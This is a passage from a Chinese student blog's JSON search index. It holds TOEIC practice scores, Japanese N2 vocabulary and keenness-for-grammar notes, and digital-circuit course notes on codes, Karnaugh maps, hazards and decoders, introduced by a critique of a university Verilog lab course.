center\"\u003e3\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e370（错26个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335(错33个，但是写完了，我靠，绷不住)\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e705\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e4\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e350（5个没写，错30个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e735\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e5\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e355（错29个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335错33个（六个没写）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e690\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e6（真题）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e460（错8个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e420（错16个，刚好写完）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e880（希望真题就这个水平）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e7\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e8\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e9\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个，看来是没有什么变化了）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e懒得写了\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385 + ？\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e10\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个，提前3min写完，状态最好的一集）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\n\n\u003ch1 class=\"relative group\"\u003eWord \n    \u003cdiv id=\"word\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#word\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t说实话，刚考完N2,而且好久没有学过英语了，有点没有动力，但是不想浪费\u003cstrong\u003e808元RMB\u003c/strong\u003e。\u003c/p\u003e","title":"Toeic","type":"life"},{"content":" Japanese_N2 # 这是我在N2考试之前的学习之中简单整理的一些错误点。\n这个可以简单理解成N2错题本。\u0026mdash;》如果考过了我会总结一下经验（备考的）\n我觉得这是很好的学习方法，说实话感觉整理迟了，在N1学习的时候我会系统的这样进行整理！\n日本語を勉強しましょう！\n​\t现在考完了，简单总结一下，大概基础错了6-7个，阅读错了两个（但是我认为阅读是这次比较难的部分，很多都拿不准，答案也是moji的回忆版本，应该差不多），听力错了3个（听力状态不错，虽然前一天晚上没怎么睡觉），总的来说肯定是能过，而且分数应该还挺高，半年左右不算白学（N2本身也不是算很难），之后就是冲N1了，一直考，直到考过了为止，继续加油吧！\n​\t2025.7.6\t写于西安交通大学仲英书院\n​\t成绩出来了,词汇语法56,听力和阅读都是60,确实不错.\n​\t2025.8.25\t写于西安\n単語 # 真理を追究する \u0026mdash;》追究的意思是弄清和探索\tついきゅう\n責任を追及する \u0026mdash;》追及，有追究责任的意思\n速やか　すみやか　快速地\n和やか　なごやか　和やかな雰囲気\n故郷を思い浮かべる　回想起来故乡　浮かべる　うかべる\n名案を思いつく　忽然想到一个好点子\n手品　てじな　魔術です\n利子　りし\n手抜き　手抜き工事　偷工减料的工程\u0026mdash;》豆腐渣工程\nだらしない　お金にだらしない\n奨励　しょうれい\n惜しむ（おしむ）　惜しまず　努力をおしまず働く\n手当（てあて）　补贴，治疗\n手がかり　线索，头绪\nミスを見落とした\n善良　ぜんりょう\nリハーサル　rehearsal 彩排\nオリエンテーション　orientation 新人教育\nかさかさ\t干巴巴\nどろどろ べたべた\t黏糊糊湿嗒嗒\nふさふさ\t毛绒绒\n駆け抜ける 跑过去，赶超过去\n仕上げる　他动，使完成 完成させる 俯く　うつむく\n腫れる　はれる\n暮れ　今年のくれは　年末\n残高　ざんだか　余额，结余\nそれなり　其れなり　相当的，相应的\n鑑賞　かんしょう　鑑賞力\n口座　こうざ　账户\n通帳　つうちょう　存折\n生き生き　いきいき　有活力\nとうとう　とうとう過労で倒れた\nうろうろ　うろうろと歩き回る\n冗談が通じない　听不懂玩笑话\nこの靴は、ぶかぶかだ　指衣物不和尺寸的大，看起来很臃肿的样子\n新しいゲームが相次いで発売されている　相次いで　あいついで\n相応しい　ふさわしい　相合适\n敬重　けいちょう\n軽重　けいじゅう\n尊重　そんちょう\n景色　けしき\nいい評判だ　评价很好\n深刻　しんこく　严重，重大　深刻な悩みをかかえている\n分析　ぶんせき\n絡まる　糸が絡まる　线缠在一起了\tからまる\t或者也可以指比较麻烦的事情\n持て成す　もてなす　招待，款待　おいしい料理で客をもてなす\nインパクト　impact　冲击力\n大まかな　おおまかな　粗略的，大概的\n多大な　ただいな　巨大的，很大的，不是问有多大，意思和中文不一样\n厚かましい　あつかましい　厚颜无耻的\n鬱陶しい　うっとうしい　闷闷不乐的\nそそっかしい　冒冒失失的\n大凡　おおよそ　大体　だいたい\n収納する　仕舞う　しまう　不仅有结束的意味，还有就这么干吧，或者收拾的意思\n共有財産　きょうゆうざいさん\nはきはき　干脆利落，可能是形容比较顺畅的感觉\nはっきり　清楚，清晰\n〜なんか\t～之类的，有厌恶，轻视的情绪，也可以表示自谦的感觉\n茄子　なす　一个蔬菜名\n〜といった\t表示部分列举，之前没见过\nということになる\t表示客观的结果\nということになっている\t表示结果的残存\n成り切る　なちきる\t彻底成为\n私宛ての手紙\t表示寄给我的信\n背骨　せのね　脊椎\n口調　くちょう　语调，口气\n実践　じっせん\n思い起こす　回想起，回忆\n徐々に　次第に：不要光知道语法，还有慢慢的，逐步的意思\n剥げる　はげる　剥落，脱落的意思\n衣装　いしょう\n受講　上课\n衰える　おとろえる　筋肉がだんだん衰えていく\n救う　すくう\n臆病　おくびょう　胆小，怯懦\nぐっすり寝ている\n疲れてぐったりしてしまう　筋疲力尽\nひそひそ話ている\nばっさり\t徘徊犹豫的样子\n永久　えいきゅう\n愉快　和面白い比较类似，如果用来形容人的话，是形容是一个有意思的人\n容姿\t形容人的外貌\nついていた　形容人的运气好\n~漬け　沉浸在～中\n催し　活动\n細やか　ささやか 小，细小，简单\nなだらか　平稳\n増悪の念　ぞうお　の　ねん\n囁く　ささやく　低声细语\n潰す　つぶす　消磨时间\n拒否　きょひ　拒绝，否决\nいったん　不是一旦的意思，是暂且，姑且\n現象　げんしょう\n続出　ぞくしゅつ　表示事情接连发生\n相互　そうご\n柔軟な思考　じゅうなん　有灵活的意思\n期限切れ　过期\n貿易　ぼうえき\n一日おきにしている\t隔一天一次\n未経験　没有经验\n頑丈　がんじょう　不是形容人的，形容物体比较结实\n買い占める　全部买下来的意思\nパンク　puncture\t破裂，爆胎\n差し支える　さしつかえる　妨碍，有影响，不方便\n引っかかる　挂上，牵连，上当\nあらかじめ　事先，预先\n腹を立てる　生气\n夏休み明け\t比较特殊的表达，表示暑假结束\n東京駅発\t固定搭配\n微か　かすか　略微的，微弱的\n中継　ちゅうけい　转播\n快い　こころよい　爽快，愉快\n文法 # 今でこそ〜が　到了现在才能怎么样\n動詞て形　＋　でも　就算怎样也要怎样，表达了强烈的意愿\n借りる　自谦语\u0026mdash;》拝借（はいしゃく）\n〜間（あいだ）期间一直持续某种状态\n〜間に　这个时间段内采取了某种行为\n〜うちに　趁着某个时机的意思\n名　＋　が契機になって　\u0026hellip;\u0026hellip;成为契机\nに至っては…　至于 ては　有表示条件的语气 疲れてしまってはもったいないですよね～ 如果感到疲劳的话就很可惜了\n満足げな顔\n\u0026hellip;から\u0026hellip;にかけて 从\u0026hellip;到\u0026hellip; 大致的时间范围\n〜ものの　＝　けれども\nあの映画は一度見たものの、話の筋はまったくわからなかった。\n〜とはいうものの 虽然这么说\n申し上げようがないです　无可奉告　ます形　＋　ようがない・ようもない\n例：口にしたことはもう取り戻そうがない\nものがある　〜と感じられる要素がある\n〜ものではない　不应该怎样（忠告）\nあのレストランは安わりにおいしいですよ　虽然，但是（出乎意料，正反面都可以表达）\n〜をこめて　込める　心をこめる　倾注了心血做什么事情\u0026hellip;\u0026hellip;\n辞書を先生として\t把辞典当作老师\n〜をはじめ　始める　以\u0026hellip;为首，为代表\n例：このお寺をはじめ、いろいろな古い建物があります\n敬語 # ​\t简单总结一下敬语，本身比较复杂，但是N2考试的敬语比较简单。而且就几分，我觉得哪怕你完全不会敬语去考试也是没问题的。\n尊他 自谦 郑重 礼貌 美化\n手打的，很不容易。\n動詞 尊敬語 謙譲語 行く いらっしゃる　おいでになる 参る（まいる）　伺う（うかがう）　上がる 来る 見えます　お見えになる　お越しになる　おいでになる　いらっしゃる 参る（まいる）　伺う（うかがう）　上がる（和上面一样） 言う おっしゃる（お名前はなんとおっしゃいますか） 申す　申し上げる いる いらっしゃる　おいでになる おる（おります） する なさる（なさいます） 致す（いたします） 知っている ご存知です （ものを）ぞんじております・知っております　（人を）ぞんじあげております 会う（我去见别人，只有谦让语） ・ お目にかかります 食べる・飲む あがります・めしあがります いただきます・頂戴します 見る ご覧になります 拝見します・拝見致します 思う ・ 存じます 聞く・尋ねる（问别人话或者是拜访别人） ・ 伺います・承ります（うけたまわる） 見せる ・ お目にかける・ご覧に入れる 分かる ・ 承知します・かしこまります あげる ・ 差し上げる くれる くださる（くださいます） ・ もらう ・ いただく（いただきます） 1.尊他语：抬升别人的地位。 # １．お・ご〜になる\n例：ご出席になりますか。\n２．お・ご〜なさる\nしばらくお待ちなっさてください。\n３．「れる」「られる」类似于被动态\n書かれた本です。\n散歩されます。\n４．お・ご〜くださる\n少々おまちくださいます。\nお早めにお召し上がりください。\n５．お・ご〜です\nお出かけですか。\n６．〜で・ていらっしゃる\nです・でいる・である的尊敬语\nお元気でいらっしゃいますか。\n７．〜（させ）てくださる\nこの機械の使い方を説明させてください。\n请求上级允许自己做某件事情。\n2.自谦语：降低自己的地位。 # １．お・ご〜する\nお荷物、お預かりします。\n２．お・ご〜いたす\nお持ちいたしましょうか、お荷物。（因为いたす就是する的谦让语么）\nお待たせいたしました。\t（我）让您久等了。\n３．〜（さ）せていただく\n这是まらう的自谦形式，请求上级允许自己做某事，通知也会这样说。\nChrychicを、やめさせていただきますわ。\n请让我退出这个乐队。\n４．〜ていただく\n​\t注意上面这两个语法，我们可以总结出规律，如果选项中有お・ご，那么一定不能有て，同理，如果有て，那么一定不能有お・ご。\n５．お・ご〜いただく\n这里中间的动作是别人的动作，表示我受了别人的恩惠。\n​\t这个比较容易错，是我想让别人做这件事情，别人做了这件事情就是为我好，我受了恩惠，所以会使用这个语法。\n６．お・ご申し上げる\nお願い申し上げます。\nお詫び申し上げます。\n７．お・ご〜願う\n3.礼貌语：平级的，比如使用ます。\n4.美化语：お　＋　固有训读\tご　＋\t音读（一般规则）\n5.郑重语：ござる\n明天考试，希望不难吧，也是一年的努力受到检验的时候。\n","date":"7 July 2025","externalUrl":null,"permalink":"/life/japanese_n2/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eJapanese_N2 \n    \u003cdiv id=\"japanese_n2\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#japanese_n2\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这是我在\u003cstrong\u003eN2\u003c/strong\u003e考试之前的学习之中简单整理的一些错误点。\u003c/p\u003e\n\u003cp\u003e这个可以简单理解成N2错题本。\u0026mdash;》如果考过了我会总结一下经验（备考的）\u003c/p\u003e\n\u003cp\u003e我觉得这是很好的学习方法，说实话感觉整理迟了，在N1学习的时候我会系统的这样进行整理！\u003c/p\u003e\n\u003cp\u003e日本語を勉強しましょう！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e​\t现在考完了，简单总结一下，大概基础错了6-7个，阅读错了两个（但是我认为阅读是这次比较难的部分，很多都拿不准，答案也是moji的回忆版本，应该差不多），听力错了3个（听力状态不错，虽然前一天晚上没怎么睡觉），总的来说肯定是能过，而且分数应该还挺高，半年左右不算白学（N2本身也不是算很难），之后就是冲N1了，一直考，直到考过了为止，继续加油吧！\u003c/p\u003e","title":"Japanese_N2","type":"life"},{"content":" ​\t这里是我个人整理的一些关于学校课程的一些笔记还有资源，如果能帮到你最好，但是笔者的实力有限，很多地方前言不搭后语或者复制粘贴PPT，希望您能谅解。\n​\t考完一场考试之后我会在文章中画重点，所以我个人认为还是有点作用的。\n","date":"27 June 2025","externalUrl":null,"permalink":"/notes/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e​\t这里是我个人整理的一些关于学校课程的一些笔记还有资源，如果能帮到你最好，但是笔者的实力有限，很多地方前言不搭后语或者复制粘贴PPT，希望您能谅解。\u003c/p\u003e\n\u003cp\u003e​\t考完一场考试之后我会在文章中画重点，所以我个人认为还是有点作用的。\u003c/p\u003e\u003c/blockquote\u003e","title":"","type":"notes"},{"content":" 数字电路基础 # 我对于学校数字电路实验的评教，今天遇到了一些事情，真的非常生气，我不写出来实在是难受：\n​\t我校的以vivado为开发平台的数字电路实验是相当不合理的：\n​\t1.学生对于vivado没有相当的基础，身为一名计算机学院的学生，对于计算机组成原理的重要性认知很清楚，但是对于硬件开发没有合理的认知水平，理论铺设不到位，对于使用的软件更是一知半解。所以我们的实验是怎么开展的呢，“抄代码”，对着截了很多模糊不清的图片的PPT，抄，抄有着“详细注释”的宋体代码，我们试图在西一楼106机房“抄”出来对于数字电路的认知，这是难以置信的。\n​\t2.“你为什么不自己学？”，“自学”，难道我们不懂？一名大二计算机学院的学生，很少有人到现在还体会不到技术上自学的重要性，仅仅是为了搞清楚verilog的语法，你只需要随便上什么菜鸟教程之类的网站看一看就可以，我想说的是，你们给学生泼了一瓢冷水，当我在自己的linux系统上用iverilog编译生成运行测试第一个器件的时候，感受到的兴奋是难以言表的，但是，大多数学生只能在这里感受到重复性劳动的痛苦，以及不明不白的迷惑，因为他们debug的方式就是对这“权威”的PPT进行一行一行的寻找，想找到是否有一个变量名“抄”错了，或者把一个点打成了逗号却没有报错，为什么，因为他们不知道还能使用怎样的方式进行debug了，我还能用怎样的词语来形容这样的学习？\n​\t3.而当代码太多的时候，我相信很多老师对于debug也并没有任何头绪，对于一些更深层次的原理也并没有深刻理解，我在实验四中选择了第一个，我相信选择第一个的人是比较少的，因为大家都认为第二个分多，我对于分数的看法是无所谓的，我想，我只要把一个东西弄明白对我来说哪怕是完成任务也是一种收获，在实验四验收期间，我一直在观察，有一位老师基本没有解决任何问题，而是指挥来指挥去，当我向一位老师请教关于第一个学号计数器的问题时，他好像用很好奇的眼神看着我，好像没有人写这个实验一样，不停的请教您们不下5次，我相信不只是我这样，很多同学都是这样，有的人甚至走的时候都没有找到问题在哪里，我不停的对着PPT看，找问题所在，最后把我的counter实现交给了ChatGPT进行优化（实现没有问题，好像是因为边沿检测的问题，原来普通的counter的逻辑不符合要求，最后留下来的很多同学居然是实验1的，简直是难以置信，设计文件的考察更是让人无语，自己补充两个引脚即可，这样考察的意义在哪里？好像是某种脑筋急转弯让人费解。），因为不同老师的不同建议走了很多奇怪的弯路，不过我倒是对此没有什么怨言，因为debug就是这样，我也经历过很多，所以我也并不着急，我只是觉得您们对于自己设计的东西，设计的任务不够熟悉，好像也是在完成任务，我知道你们也是人，也会出错，但是应该起码对于下达的作业有着“胸有成竹”的一种状态才是比较合适的。\n​\t4.这不是老师们对于学生此方面基础不好的包容，这是一种设计和讲解上的问题，这些做的一塌糊涂的模糊PPT的堆砌，在让学生理解和实践的方面，甚至不如实践教学中心的电工实习！如果您要问我如何解决，对不起，作为学生，我真的水平很低，我只会动动嘴皮子，我不是讲师也并非教授，我没有那么丰富的经验和知识，这也是我为什么来到大学，但是本学期一个简单的0.5学分的实验，让我再一次反思。我对于硬件的开发并没有深厚的兴趣，或许在我大学毕业之后的一生中都不会再去进行把代码烧录到开发板这样的工作，但是我还是不吐不快，我现在只希望下个学期的三个1个学分的核心专业课程的实验不会让人感到失望，不会让学生们感到是在完成某项任务，想尽办法和“抄袭”和“查重”作对，总之，大量的学生花费了大量的时间在这里，得到的东西确实寥寥无几，但是讽刺的是，我认为大多数人也不会有怨言，因为我们需要学分，需要GPA来毕业，无法毕业是谁都难以接受的，这是否是单方面的霸凌呢？我不知道。我很明白，因为我之前在后面也观察到了，今年的开课是否是“实验性”的，你们对此也没有把控，但是我想你们应该会想听到这样的声音，因为不会再有学生在期末周浪费自己的备考时间给您们写这些没用的“小作文”，我的批评相当主观甚至可能偏激，略显傲慢，我明白老师们可能也为此付出了努力，但是，如果您还因为认为自己是一名教育工作者而想继续优化和承担责任的话，那么请您继续优化和思考（或许可以先从把PPT上的代码从宋体改成Consolas等宽字体开始，这并不复杂，在Tools里面选择一下就可以），如果您不这么认为，那么当我什么也没有说就好。最后我想告诉您，无论是谁看到，但是希望不是我的自我安慰：\n\u0026ldquo;Education is not the filling of a pail, but the lighting of a fire.\u0026rdquo; \u0026mdash;William Butler Yeats\n（教育不是给桶里灌水，而是点燃一把火）\n​\t而接下来，对于数字电路的理论，我又要对着PPT复习，这也是没有办法的。我承认孩子们，这就是一场PPT大战，但是能写一点代码也是不错的。\n​\t\u0026mdash;2025.6.15 21:13 写于西安交通大学仲英书院\n[!CAUTION]\n​\t有些人不配作为教育者，他们在尝试和学生斗争，尝试满足某种**“指标”**，他们连从事科学研究的资格都没有。这是我对于这些人最严厉的攻击和指责。\n考试大致的情况：\n教材前4章（习题）及教师上课讲解过的内容为本次考题涉及范围，复习的重点内容概括如下： 第一章：数制与编码、逻辑代数基础（定律、定理、规则）、逻辑函数的表示及化简方法、逻辑门电路（涉及填空、简答题）。 第二章：组合逻辑电路的分析与设计、竞争与险象（判别和消除方法）、常用MSI器件（译码器、编码器、多路选择器、三态缓冲器、加法器）。 第三章：时序电路概念、双稳态元件的原理（重点是触发器）、同步时序电路的分析与设计方法、脉冲异步时序电路分析与设计方法、常用时序逻辑器件（计数器、寄存器）。 第四章：SPLD、CPLD、FPGA的基本原理（仅涉及填空、选择、简答题）、VHDL和Verilog（涉及填空、简答和编程题）。\n​\t考试题型：1）填空题20分，任选10题，多选按前10题给分。2）选择题20分，任选5题，多选按前5题给分，选择题为多选，错选和少选1项扣1分。3）简答题15分，任选5题，多选按前5题给分。4）分析计算题20分，涉及前3章内容，要求给出关键分析步骤，按步骤给分。5）设计题25分，组合和时序逻辑电路设计各1题，VHDL或Verilog编程题1题，要给出关键设计或编程步骤，按步骤给分。\n集中答疑时间：下周四（6月26日），时间：9:00 11:30；14:30 17:30，地点：西一楼，B809（伍老师办公室）、A405（刘老师办公室）、A102（王老师办公室）\n1.精度问题，前面的部分可以把第一章作业过一遍。\n​\t补充，最后期末考了76,平时分给了97（因为我每次都去迁到了），就突击而言还算可以，均分好像都挺低的，很恶心的是考查了很多第4章的内容，甚至第四章一些奇怪的内容能有35%左右的占比，很恶心。\n数制和编码 # 数制相互转换 # *必考：不同进制之间的转换：\n注意需要的小数的位数：\n比如（0.4321）10进制 转 16进制 那么至少这个16进制的数字小数点要多少位？\n数的表示 # 浮点表示方法，用阶码和尾数来进行表示的方法。\n带符号数：原码，补码，反码。\n原码：最高位是符号位。\nx = ＋5 [x]原 = 00000101 y = －7 [y]原 = 10000111\n反码：正数和原码相同，负数是原码的非符号位全部取反。\u0026mdash;》注意这个\nx = ＋5 [x]原 = 00000101 [x]反 = 00000101\ny = －7 [y]原 = 10000111 [y]反 = 11111000\nz = 0 [z]反 = 00000000 [z]反 = 11111111\n把符号位看作一位数值位参与运算，一律按加法规则来处理，所得结果的符号位也就是正确结果的符号（不出现进位）。\n当符号位产生进位时，将产生的进位加到数值位的最低位。\u0026mdash;》这个也要注意\n补码（complement number），又称“对2的补码”。\nx = ＋5 [x]原 = 00000101 [x]补 = 00000101 y = －7 [y]原 = 10000111 [y]补 = 11111001 z = 0 [y]原 = 00000000 [z]补 = 00000000 z=-128 [z]补 = 10000000\n这个我们已经比较熟悉了。负数是原码的非符号位按位取反 + 1。\u0026mdash;》反码 + 1\n十进制数的编码（代码）表示及其运算 # 8421：8421的权重。\n2421：2421的权重。对9自补码。\n余3码：8421权重，然后减去3。\n可靠性编码 # 格雷码（Gray) # 特点：任意两个相邻数的代码（码字）只有一个二进制数位不同。 目的：减少代码生成时发生错误。\n原来的二进制码每两个之间做xor运算得到Gray码。\n这种典型格雷码还有一个特点： 所有对应于十进制数2 m -1 (m为正整数）的格雷码，都仅在m位上有 1， 其他位都为0。 例： m = 1 , 2 m -1 = 1, 1的典型格雷码是0001； m = 2 , 2 m -1 = 3, 3的典型格雷码是0010； m = 3 , 2 m -1 = 7, 7的典型格雷码是0100； m = 4 , 2 m -1 = 15, 15的典型格雷码是1000。\n​\t这些数与 0 之间只有一位的差别，回到 0仍能保持一位差别的特点，所以称作循环码，特别适用做二进制码计数器的编码。\n奇偶校验码（Parity Code） # 注意：是P的取值使得其中的1的个数是奇数还是偶数。\u0026mdash;》重点。\n那么生成的原理也就很简单了。\n海明校验码（Hamming codes） # 很巧妙，考试之前再过一遍比较好。\n逻辑代数基础 # 不说废话，重要的几个定理：\n定理 # 要注意书上的例子，吸收定理之类的东西用来化简。\n对偶函数和反演函数：\n同或和异或运算：\n基本表达式：\n逻辑函数的基本表达形式 # 与或 或与\n最小项和最大项：\n0替代反变量\n1替代反变量\n关系：（这也是为什么表示的方法会不一样）\n*（重点）卡诺图： # 要不要记忆？考试前看一看。\nn 变量函数卡诺图有2n个小方格(或称为单元), 小方格对应最小项。一个逻辑函数可以唯一地图示于卡诺图上。\n简单的例题，我们去求或与项的一个表示：\n（先求反函数的与或式）\n对偶方法：\n先算出对偶式接着进行化简，同样使用反函数的方法也可以。\n那么在卡诺图上也类似：\n我们用这样的方法求最简的或与式。\n如果有无关项尽可能多包含，这样就可以减少变量的个数。\n减少非门的个数的方法 # ​\t1. 替代尾因子法 定义：每个与项中原变量部分称为“头因子”，反变量部分称为“尾因子”。 特点：把头因子中的任何变量放入任一个尾因子中，该与项不变，即头因子是不变的，尾因子是可变的 。\n​\t2.禁止逻辑法：从卡诺图中干掉一部分，这样就能构成更多的大极大圈。\n直接用最小项之和的非进行 * 操作。\n逻辑门电路 # 这一章感觉不是东西，考试前再看一下。\n必须好好看一下，防止送了。\n早期逻辑门 # 双极型晶体管逻辑 基本双极型晶体管逻辑 # MOS晶体管、传输门 # 集成电路集成电路制造技术、封装、规模类型以及使用特性 # 组合逻辑电路 # 描述 # 常用逻辑门的符号：注意xor门的方框内的数字是1。\n表明有效的形式：\n延迟时间等等的基本概念，我们之后还会再次提到。\n分析和设计 # 1、组合逻辑电路的分析 # ​\t电路输出仅取决于当时（前）的输入，而与过去的输入情况无关。\n​\t逻辑图，真值表。\n2、组合逻辑电路的设计 # 设计的一般步骤：\n做几个题试一试就行。\n下面这个顺序有可能会考察，第一部不是先列出真值表。\n分析要求\u0026mdash;真值表（卡诺图化简）\u0026mdash;最简表达式\u0026mdash;变换（使用不同的门电路）\u0026mdash;作出电路逻辑图\n可能会有逻辑电路变换的要求，这样的性能更好。基本都是在进行二次求反。\n这样的设计目前感觉还是比较基础的：\n简单的HalfAdder的描述：\n竞争和险象 # 注意很多比较细节的考察问题。\n电路中普遍存在竞争现象 # 静态险象：功能险象、逻辑险象\n动态险象\n​\t在实际电路中，信号变化不是即时的，存在边沿转换时间；信号在电路中传送必定有导线上的传播时延，信号通过门电路也必定有时间延迟。\n​\t比如这样的一个尖峰脉冲的延迟：\n​\t​\t上述这些时延都可能使电路信号的中间结果及最终输出产生错误的信号。为简化讨论，下面假设信号变化的边沿转换时间为“0”，信号在导线上的传输时间为“0”， 仅考虑逻辑门的时延时间td(Delays) 。\n就是说关于delay，我们只考虑在逻辑门上面的时延。\n1.竞争现象\n​\t竞争定义：某一个信号或同时变化的多个信号，经过不同路径到达某一点时有时差（传输及器件延时等造成的），这 种现象称为竞争。\n​\t竞争分类：对于有错误输出的竞争称之为临界竞争，对于未产生错误输出的竞争称之为非临界竞争。\n​\t2.Hazard\u0026mdash;险象\n​\t险象定义：由于临界竞争的存在，在输出端得到稳定输出之前，输出中有一段的错误输出（干扰），这种现象称之为险象。险象一定是竞争的结果。\n​\t险象分类：通常将险象分为静态险象和动态险象两种类型。\n​\t静态险象：\n​\t当输入信号变化时，按逻辑表达式，输出不应有变化的情况下，而实际上会在输出端产生一个与逻辑状态“1”或“0”对应的高低窄（矮）脉冲的情况，则称之为静态险象。\n​\t就比如说下图就是一个静态的险象：\n​\t​\t它可进一步分为：功能险象，逻辑险象。\n​\t1.功能险象：\n​\t产生的必要条件：\n​\t1.K个输入信号同时产生变化（因为多个信号变化的时候应该是在实现某种功能）。2.这K个信号组成的序列中，必须既有0又有1。\n​\t2.逻辑险象：\n​\t必要条件：只有1个输入信号发生变化。\n其实都是一个例子。\n静态险象的产生：由于输入信号经过不同的路径又汇合到同一个门上的竞争所引起的。\n原来一直是1,但是中间出现了0,比如上面的例子，就是静态“1”险象。\n动态险象\n这里考察了例子，以及动态险象的概念。\n​\t多级组合逻辑电路，若输入信号的变化通过多条路径向输出端汇合时，输出信号稳定前会发生三次变化，其间经过暂时状态0、1或者1、0，这种险象称之为动态险象。输入信号变化的第一次会合只可能产生静态险象，只有在产生了静态险象，输入信号变化的再一次会合，才有可能产生动态险象。动态险象是由静态险象引起的，它也是竞争的结果。同样，在两级“与或”和“或与”电路中都不会发生。\n也就是多个静态险象的2次以上的会合才会导致静态的险象\u0026mdash;》二级电路肯定没有动态险象。\n动态险象的变化肯定不会只有1次。\n举个简单的例子：\n也要注意下面的这个动态的险象\n险象的判别 # 卡诺图法 # 用卡诺图可以判别出两级“与或电路”和两级“或与电路”是否存在静态险象。\n（1）静态 1 险象判别\n​\t在两级“与或”电路或两级“与非-与非”电路中只可能出现静态 1 险象。\u0026mdash;》本质是很多与项的相加，那么就只能是1中间出现了0这样的情况。\n​\t在卡诺图中，与或式中的每个与项对应于一个卡诺圈，如果两个卡诺圈存在着部分“相切”，而这个“相切”的部分又没有被另外的卡诺圈所包含，则该电路必然存在静态 1 险象。\n举个🌰：\n与项相切的位置就会出现静态“1”险象。\n静态 0 险象判别\n​\t在两级“或与”电路或两级“或非—或非”电路中只可能出现静态 0 险象。\u0026mdash;》与项之间更容易出现0，就会出现静态0的险象。\n​\t在卡诺图中，按照圈0单元的卡诺圈是否存在着部分相切，而这个相切的部分又没有被另外的卡诺圈所包含，则该电路必然存在静态 0 险象。\n例子：那么要注意这里先取反函数，接着在画0，最后把相切的位置都要覆盖掉就没有问题了。\n逻辑表达式法 # 当某一变量同时以原变量和反变量的形式出现在逻辑表达式中，则该变量就具备了竞争的条件。\n比如几个典型的例子：\n你去主动选择，促使这个式子出现静态0险象。\n险象的消除 # 增加多余项法和乘以多余因子法\n和上面消除的例子是类似的：\n连接低通环节与增加选通脉冲\n减弱输出端的波动：\n上面这个应该不会考察。\n常用的MSI组合逻辑器件 # 译码器和编码器 # 译码器和编码器的一般结构、二进制译码器、MSI器件及其级联与应用\n有时候要注意使能端的作用。\n编码器，是把代码编的更少，译码器，是把代码翻译出来，所以端口会变多。\n二进制译码器\n译码器输出最小项：\n输入一个二进制的数字，输出是哪一个bit的值是1。\n74LS139\n我们直接控制输出端为0：\n注意是一个双译码器：\n74LS138\n注意这里都是控制输出端为0的位置。注意是CAB定下来某个位置为0。\n电路图大概看一下： 